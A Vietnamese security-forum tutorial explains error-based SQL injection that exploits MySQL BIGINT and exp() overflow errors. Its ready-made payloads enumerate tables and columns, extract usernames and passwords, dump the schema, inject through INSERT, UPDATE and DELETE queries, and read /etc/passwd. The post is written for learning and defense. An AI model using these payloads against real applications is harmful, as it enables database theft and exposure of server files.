[SQL injection] Khai thác Error based SQL injection

zozo

W-------
16/01/2015
4
11 bài viết
[SQL injection] Khai thác Error based SQL injection
SQL injection đã trở thành một khái niệm rất quen thuộc trong nhiều năm trở lại đây. Nó là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các thao tác, thêm, sửa, xóa… trên cơ sở dữ liệu của ứng dụng. Nguy hiểm hơn, kẻ tấn công có thể lợi dụng lỗi này để upload webshell lên server để chiếm quyền điều khiển server. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...

Các kỹ thuật tấn công SQL injection thường được sử dụng là:

  • Boolean based SQL injection
  • Union based SQL injection
  • Error based SQL injection
Có nhiều cách để khai thác Error based SQL injection, một kỹ thuật mới được đưa ra gần đây là khai thác SQL injection bằng cách lợi dụng việc xử lý tràn số trong MySQL. Kỹ thuật này cụ thể như thế nào, ta sẽ cùng tìm hiểu ở bên dưới.

Khai thác SQL injection bằng cách lợi dụng Numberic overflow trong MySQL

1. Xử lý Out-of-range và Overflow trong MySQL

MySQL hỗ trợ các kiểu dữ liệu tiêu chuẩn SQL như INTEGER, SMALLINT, TINYINT, MEDIUMINT, BIGINT. FLOAT, DOUBLE…

1489939945Capture1.PNG

Bảng phạm vi của các kiểu dữ liệu nguyên
(Nguồn:http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)​

Mỗi kiểu dữ liệu sẽ có một phạm vi giới hạn khác nhau. Khi các giá trị vượt ra ngoài giới hạn này nó sẽ dẫn tới hiện tượng tràn số (overflow). Có sự khác nhau trong xử lý Out-of-range và overflow giữa các phiên bản MySQL. Việc xử lý Out-of-range và overflow từ phiên bản MySQL 5.5.5 trở lên sẽ trả về một thông báo lỗi, trong khi trong các phiên bản thấp hơn mặc định sẽ trả về một kết quả mà không đưa ra bất kỳ thông báo lỗi nào.

Ví dụ, kiểu dữ liệu BIGINT có kích thước 8 byte (64 bit). Giá trị số nguyên có dấu lớn nhất của nó là:

  • Binary: 0b0111111111111111111111111111111111111111111111111111111111111111
  • Hex: 0x7fffffffffffffff
  • Decimal: 9223372036854775807
MySQL 5.5.5 trở lên: Khi thực hiện phép toán với các giá trị trên (ví dụ tăng thêm 1) sẽ gây ra tràn số và trả về thông báo lỗi:
Mã:
mysql> select 9223372036854775807+1; 
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Trong phiên bản MySQL thấp hơn, kết quả trả về một giá trị:
HTML:
mysql> SELECT 9223372036854775807 + 1;
+-------------------------+
| 9223372036854775807 + 1 |
+-------------------------+
|    -9223372036854775808 |
+-------------------------+
Đối với kiểu dữ liệu BIGINT không dấu, giá trị lớn nhất của nó là:
  • Binary: 0b1111111111111111111111111111111111111111111111111111111111111111
  • Hex: 0xFFFFFFFFFFFFFFFF
  • Decimal: 18446744073709551615
Kết quả cũng tương tự, hiện tượng tràn số xảy ra trong các phiên bản MySQL 5.5.5 trở lên:
Mã:
# In decimal
 mysql> select 18446744073709551615+1; 
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
 # In binary
 mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
 ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)' 
# In hex 
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
 ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
Với phiên bản MySQL thấp hơn:
Mã:
mysql> SELECT 18446744073709551615 + 1;
+-------------------------+
| 18446744073709551615 + 1|
+-------------------------+
|                        0|
+-------------------------+
Lợi dụng xử lý out-of-range và overflow trên các phiên bản MySQL từ 5.5.5 trở lên, ta có thể gây ra tràn số để leak dữ liệu qua các thông báo lỗi, qua đó thực hiện khai thác Error based SQL injection.

2. Khai thác

Ta sẽ thực hiện các phép toán gây tràn số, qua đó, MySQL sẽ rò rỉ các thông tin về cơ sở dữ liệu cho chúng ta.
Mã:
mysql> select !(select*from(select user())x) - ~0 - ~0;
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
~0 sẽ trả về giá trị lớn nhất kiểu BIGINT là 18446744073709551615. Do đó gây tràn số và leak dữ liệu qua thông báo lỗi.
Một ví dụ khác:
Mã:
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

1489939945Capture3.PNG


3. Trích xuất dữ liệu

Việc trích xuất dữ liệu tương tự như khai thác error based SQL injection thông thường:

Thu thập thông tin về bảng:

Mã:
select !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0-~0

Mã:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Thu thập thông tin về cột:

Mã:
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0-~0;

Mã:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Trích xuất dữ liệu:
Mã:
select !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

Mã:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

4.
Dump cơ sở dữ liệu

Có thể dump toàn bộ cơ sở dữ liệu trong một câu truy vấn:

Mã:
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0-~0

Mã:
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

Mã:
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

Mã:
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

1489939945Capture4.PNG


5. Injection vào các câu truy vấn

Có thể thực hiện inject vào câu truy vấn insert, update hay delete.

5.1. Injection vào câu truy vấn Insert
Mã:
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Mã:
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

5.2. Injection vào câu truy vấn Update
Mã:
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Mã:
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

5.3. Injection vào câu truy vấn Delete
Mã:
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Mã:
mysql> delete from users where id='1' | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

6.
Đọc file

Dễ dàng đọc file trên server.
Mã:
select exp(~(select*from(select load_file('/etc/passwd'))a));

1489939945Capture5.PNG


Kết luận

Việc khai thác SQL injection lợi dụng việc xử lý tràn số trong MySQL là rất đa dạng, bằng cách chỉ cần tạo ra các phép toán gây tràn số, ta hoàn toàn có thu thập được các thông tin về cơ sở dữ liệu qua các thông báo lỗi trả về. Đương nhiên, phiên bản MySQL phải từ 5.5.5 trở lên.

Ví dụ:
Mã:
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Tài liệu tham khảo

- https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/
- https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên